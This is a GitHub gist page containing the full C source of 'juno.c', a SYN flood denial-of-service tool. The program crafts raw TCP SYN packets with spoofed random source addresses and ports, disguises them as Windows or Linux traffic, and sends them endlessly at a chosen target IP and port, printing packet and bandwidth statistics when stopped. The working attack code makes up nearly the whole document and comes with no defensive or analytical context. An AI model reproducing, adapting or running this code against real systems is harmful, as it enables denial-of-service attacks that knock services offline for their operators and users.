Created
September 26, 2020 12:07
-
-
Save mertcangokgoz/fb53ad94dcfffbf5ae7cfb74e64a971e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char about[] = "juno.c\n"; | |
#include <stdio.h> | |
#include <netinet/in.h> | |
#include <netdb.h> | |
#include <sys/time.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <signal.h> | |
#define USELESS_INFO | |
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */ | |
#define RANDOMIZE_SOURCE_IP /* random source ips */ | |
#define RANDOMIZE_SOURCE_PORT /* random source ports */ | |
#undef DELAY 1000 /* microsecond delay, undef for none */ | |
/* nothing beyond here is useful to people who can't program */ | |
#ifndef EMULATE_WINDOWS | |
# ifndef EMULATE_LINUX | |
# define EMULATE_WINDOWS 1 | |
# endif | |
#endif | |
struct syn { | |
unsigned char verihl; | |
unsigned char tos; | |
unsigned short len; | |
unsigned short id; | |
unsigned short flg_ofs; | |
unsigned char ttl; | |
unsigned char proto; | |
unsigned short ipsum; | |
unsigned long src; | |
unsigned long dst; | |
unsigned short sport; | |
unsigned short dport; | |
unsigned long seq; | |
unsigned long ack_seq; | |
unsigned char offset; | |
unsigned char flags; | |
unsigned short win; | |
unsigned short tcpsum; | |
unsigned short urgptr; | |
#ifdef EMULATE_WINDOWS | |
char opt[8]; | |
#else | |
# ifdef EMULATE_LINUX | |
char opt[20]; | |
# endif | |
#endif | |
}; | |
int resolve(char * name, unsigned long * ip) { | |
struct hostent * host; | |
if (( * ip = inet_addr(name)) == INADDR_NONE) { | |
if (!(host = gethostbyname(name))) return (-1); | |
* ip = ((struct in_addr * ) host -> h_addr) -> s_addr; | |
} | |
return (0); | |
} | |
int getsock(void) { | |
int s = socket(PF_INET, SOCK_RAW, 6), one = 1; | |
if (s < 1) return (0); | |
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char * ) & one, sizeof(one)) < 0) return (0); | |
return (s); | |
} | |
int getport(char * s, unsigned short * out) { | |
char | |
const * p; | |
int n; | |
if (! * s) return (-1); | |
for (p = s;* p; p++) | |
if ( * p < '0' || * p > '9') return (-2); | |
if (p - s > 5) return (-3); | |
if (((n = atoi(s)) > 65535) || (n < 0)) return (4); | |
* out = htons(n); | |
return (0); | |
} | |
void prep_syn(struct syn * syn) { | |
syn -> verihl = 69; | |
syn -> len = htons(sizeof(struct syn)); | |
syn -> flg_ofs = 64; | |
syn -> proto = 6; | |
syn -> flags = 2; | |
#ifdef EMULATE_WINDOWS | |
syn -> ttl = 128; | |
syn -> offset = 112; | |
syn -> win = htons(8192); | |
syn -> opt[0] = 2; | |
syn -> opt[1] = 4; | |
syn -> opt[2] = 5; | |
syn -> opt[3] = 0xB4; | |
syn -> opt[4] = 1; | |
syn -> opt[5] = 1; | |
syn -> opt[6] = 4; | |
syn -> opt[7] = 2; | |
#else | |
# ifdef EMULATE_LINUX | |
syn -> tos = 16; | |
syn -> ttl = 64; | |
syn -> offset = 160; | |
syn -> win = htons(15536); | |
syn -> opt[0] = 0x02; | |
syn -> opt[1] = 0x04; | |
syn -> opt[2] = 0x0F; | |
syn -> opt[3] = 0x2C; | |
syn -> opt[4] = 0x04; | |
syn -> opt[5] = 0x02; | |
syn -> opt[6] = 0x08; | |
syn -> opt[7] = 0x0A; | |
syn -> opt[9] = 0x05; | |
syn -> opt[10] = 0x27; | |
syn -> opt[11] = 0x2D; | |
syn -> opt[13] = 0x05; | |
syn -> opt[14] = 0x27; | |
syn -> opt[15] = 0x2D; | |
syn -> opt[16] = 0x01; | |
syn -> opt[17] = 0x03; | |
syn -> opt[18] = 0x03; | |
# endif | |
#endif | |
} | |
int starttime, outcount = 0; | |
int xmit_syn(struct syn * syn, int sock, struct sockaddr_in * targ) { | |
register int count = (sizeof(struct syn) - 20) >> 1, sum; | |
register unsigned short * p = & syn -> sport; | |
#ifdef RANDOMIZE_SOURCE_IP | |
syn -> src = random(); | |
#endif | |
syn -> id = 1 + 255 * ((random() % 256) | 0xFF); | |
#ifdef RANDOMIZE_SOURCE_PORT | |
syn -> sport = htons(1024 + (random() & 2048)); | |
#endif | |
syn -> seq = random(); | |
syn -> ack_seq = random(); | |
syn -> tcpsum = 0; | |
sum = (syn -> src >> 16) + (syn -> src & 0xffff) + (syn -> dst >> 16) + | |
(syn -> dst & 0xffff) + 1536 + htons(count << 1); | |
while (count--) sum += * p++; | |
sum = (sum >> 16) + (sum & 0xffff); | |
syn -> tcpsum = ~(sum += (sum >> 16)); | |
outcount++; | |
return (sendto(sock, syn, sizeof(struct syn), 0, targ, sizeof(struct sockaddr_in))); | |
} | |
#ifdef RANDOMIZE_SOURCE_IP | |
# ifdef RANDOMIZE_SOURCE_PORT | |
# define TARGET_IP_INDEX 1 | |
# | |
else | |
# define SOURCE_PORT_INDEX 1 | |
# define TARGET_IP_INDEX 2 | |
# endif | |
#else | |
# ifdef RANDOMIZE_SOURCE_PORT | |
# define TARGET_IP_INDEX 2 | |
# | |
else | |
# define SOURCE_PORT_INDEX 2 | |
# define TARGET_IP_INDEX 3 | |
# endif | |
#endif | |
void sig_proc(int signum) { | |
int ctime = time(NULL); | |
printf("\n -- statistics -----------------------\n"); | |
printf(" packets sent: %d\n", outcount); | |
printf(" bytes sent: %d\n", outcount * sizeof(struct syn)); | |
printf(" seconds active: %d\n", ctime - starttime); | |
printf(" average bytes/second: %d\n", (outcount * sizeof(struct syn)) / (ctime - starttime)); | |
printf(" -------------------------------------\n"); | |
exit(1); | |
} | |
int main(int argc, char * argv[]) { | |
struct syn syn; | |
struct sockaddr_in targ; | |
int sock; | |
bzero( & syn, sizeof(struct syn)); | |
if (argc < TARGET_IP_INDEX + 2) { | |
fprintf(stderr, "Syntax: %s ", argv[0]); | |
#ifndef RANDOMIZE_SOURCE_IP | |
fprintf(stderr, "<source ip> "); | |
#endif | |
#ifndef RANDOMIZE_SOURCE_PORT | |
fprintf(stderr, "<source port> "); | |
#endif | |
fprintf(stderr, "<target ip> <target port>\n"); | |
exit(1); | |
} | |
if (!(sock = getsock())) { | |
fprintf(stderr, "Failed to create socket\n"); | |
exit(2); | |
} | |
#ifndef RANDOMIZE_SOURCE_IP | |
if (resolve(argv[1], & syn.src)) { | |
fprintf(stderr, "Invalid source ip (%s)\n", argv[1]); | |
exit(3); | |
} | |
#endif | |
#ifndef RANDOMIZE_SOURCE_PORT | |
if (getport(argv[SOURCE_PORT_INDEX], & syn.sport)) { | |
fprintf(stderr, "Invalid source port (%s)\n", argv[SOURCE_PORT_INDEX]); | |
exit(4); | |
} | |
#endif | |
if (resolve(argv[TARGET_IP_INDEX], & syn.dst)) { | |
fprintf(stderr, "Invalid target ip (%s)\n", argv[TARGET_IP_INDEX]); | |
exit(5); | |
} | |
if (getport(argv[TARGET_IP_INDEX + 1], & syn.dport)) { | |
fprintf(stderr, "Invalid target port (%s)\n", argv[TARGET_IP_INDEX + 1]); | |
exit(6); | |
} | |
#ifdef USELESS_INFO | |
printf("%s%s", about, "death"); | |
# ifndef RANDOMIZE_SOURCE_IP | |
printf(" from %s:", inet_ntoa(syn.src)); | |
# ifndef RANDOMIZE_SOURCE_PORT | |
printf("%d", ntohs(syn.sport)); | |
# | |
else | |
printf("random "); | |
# endif | |
# | |
else | |
# ifndef RANDOMIZE_SOURCE_PORT | |
printf("random:%d", ntohs(syn.sport)); | |
# endif | |
# endif | |
printf(" to %s:%d\n", inet_ntoa(syn.dst), ntohs(syn.dport)); | |
#endif | |
targ.sin_addr.s_addr = syn.dst; | |
targ.sin_port = syn.dport; | |
targ.sin_family = AF_INET; | |
srandom(time(NULL)); | |
starttime = time(NULL); | |
while (time(NULL) == starttime) usleep(1000); | |
signal(SIGHUP, & sig_proc); | |
signal(SIGINT, & sig_proc); | |
signal(SIGQUIT, & sig_proc); | |
signal(SIGILL, & sig_proc); | |
signal(SIGABRT, & sig_proc); | |
signal(SIGFPE, & sig_proc); | |
// signal(SIGKILL,&sig_proc); | |
signal(SIGSEGV, & sig_proc); | |
signal(SIGPIPE, & sig_proc); | |
signal(SIGALRM, & sig_proc); | |
signal(SIGTERM, & sig_proc); | |
signal(SIGUSR1, & sig_proc); | |
signal(SIGUSR2, & sig_proc); | |
signal(SIGCHLD, & sig_proc); | |
signal(SIGCONT, & sig_proc); | |
// signal(SIGSTOP,&sig_proc); | |
signal(SIGTSTP, & sig_proc); | |
signal(SIGTTIN, & sig_proc); | |
signal(SIGTTOU, & sig_proc); | |
prep_syn( & syn); | |
while (1) { | |
if (xmit_syn( & syn, sock, & targ) != sizeof(struct syn)) { | |
fprintf(stderr, "failed to send packet\n"); | |
exit(7); | |
} | |
#ifdef DELAY | |
usleep(DELAY); | |
#endif | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment